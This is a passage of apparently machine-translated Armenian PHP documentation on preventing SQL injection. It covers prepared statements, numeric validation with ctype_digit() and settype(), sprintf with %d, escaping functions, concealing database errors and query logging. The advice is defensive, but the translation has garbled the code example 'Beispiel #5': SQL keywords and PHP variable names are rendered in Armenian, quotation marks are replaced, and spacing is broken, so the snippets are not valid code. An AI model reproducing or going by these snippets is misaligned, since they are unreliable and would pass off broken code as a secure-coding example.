• օգտագործել պատրաստված արտահայտություններ կապված փոփոխականներով: Այս հնարավորությունը տրամադրվում է PDO ընդլայնումների, MySQLi-ի և այլ գրադարանների կողմից:
• Միշտ ստուգեք մուտքագրված տվյալները ակնկալվող տեսակի հետ: PHP-ն ունի տվյալների վավերացման մի շարք գործառույթներ՝ սկսած փոփոխականների մանիպուլյացիայի ամենապարզ գործառույթներից մինչև նիշերի տեսակը որոշելու գործառույթներ (օրինակ՝ is_numeric()Եվ ctype_digit ()համապատասխանաբար) և ավարտվում է Perl-ի հետ համատեղելի կանոնավոր արտահայտություններով:

Այն դեպքում, երբ հավելվածը սպասում է թվային մուտքագրման, կիրառեք գործառույթը ctype_digit ()մուտքագրված տվյալները հաստատելու կամ դրա տեսակը ստիպելու համար settype (), կամ պարզապես օգտագործեք թվային ներկայացումը ֆունկցիայի հետ sprintf ().

Beispiel #5 Ավելի անվտանգ էջադրման իրականացում

settype ($offset , "integer" );
$ հարցում = «Ընտրեք id, անվանումը ապրանքներից ՊԱՏՎԻՐԵԼ ԸՍՏ անունի սահմանաչափը 20 ՕՖՍԵՏ$օֆսեթ ;" ;

// նշեք %d ձևաչափը, %s օգտագործելն անիմաստ կլինի
$query = sprintf( «Ընտրեք id, անուն ապրանքներից ORDER BY name LIMIT 20 OFFSET %d;»,
$օֆսեթ);

?>

• Եթե ​​կապակցված փոփոխականները չեն աջակցվում տվյալների բազայի մակարդակում, ապա միշտ խուսափել տվյալների բազայի հարցումներում օգտագործվող ոչ թվային տվյալներից՝ օգտագործելով ձեր օգտագործած տվյալների բազայի հատուկ փախուստի գործառույթները (օրինակ. mysql_real_escape_string(), sqlite_escape_string()և այլն): Ընդհանուր գործառույթներինչպիսիք են addslashes ()օգտակար են միայն որոշ դեպքերում (օրինակ՝ MySQL-ը մեկ բայթ կոդավորմամբ՝ NO_BACKSLASH_ESCAPES-ն անջատված է), ուստի ավելի լավ է խուսափել դրանց օգտագործումից:
• Ոչ մի դեպքում մի ցուցադրեք տվյալների բազայի մասին որևէ տեղեկատվություն, հատկապես դրա կառուցվածքի մասին: Կարդացեք նաև փաստաթղթերի համապատասխան բաժինները՝ «Սխալների հաղորդագրություններ» և «Սխալների մշակման և գրանցման գործառույթներ»:
• Դուք կարող եք օգտագործել պահված ընթացակարգերը և նախապես սահմանված կուրսորները՝ տվյալների հետ վերացական եղանակով աշխատելու համար՝ առանց օգտատերերին տվյալների և դիտումների անմիջական մուտքի հնարավորություն տալու, սակայն այս լուծումն ունի իր առանձնահատկությունները:

Բացի վերը նշված բոլորից, դուք կարող եք հարցումներ գրանցել ձեր սցենարում կամ տվյալների բազայի մակարդակում, եթե այն աջակցում է այն: Ակնհայտ է, որ գրանցումը չի կարող կանխել վնասը, բայց դա կարող է օգնել վտանգված հավելվածի հետագծմանը: Մատյան ֆայլն ինքնին օգտակար չէ, այլ այն պարունակող տեղեկատվությունը: Ավելին, շատ դեպքերում օգտակար է գրանցել բոլոր հնարավոր մանրամասները: